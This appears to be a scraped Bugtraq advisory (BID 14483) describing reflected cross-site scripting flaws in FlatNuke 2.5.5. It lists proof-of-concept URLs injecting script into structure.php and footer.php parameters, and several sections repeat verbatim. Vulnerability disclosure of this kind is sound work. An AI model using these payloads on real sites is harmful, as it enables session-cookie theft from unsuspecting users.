FlatNuke Multiple Cross Site Scripting Vulnerabilities
BID:14483
Info
FlatNuke Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 14483 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 05 2005 12:00AM |
| Updated: | Aug 05 2005 12:00AM |
| Credit: | rgod is credited with the discovery of this vulnerability. |
| Vulnerable: |
FlatNuke FlatNuke 2.5.5 |
| Not Vulnerable: | |
Discussion
FlatNuke Multiple Cross Site Scripting Vulnerabilities
FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible.
FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible.
Exploit / POC
FlatNuke Multiple Cross Site Scripting Vulnerabilities
No exploit is required.
Examples have been provided:
(1) cross site scripting:
http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script>
(2) if register_globals in php.ini are off (often), cross site scripting:
http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script>
No exploit is required.
Examples have been provided:
(1) cross site scripting:
http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script>
(2) if register_globals in php.ini are off (often), cross site scripting:
http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script>
Solution / Fix
FlatNuke Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
FlatNuke Multiple Cross Site Scripting Vulnerabilities
References:
References: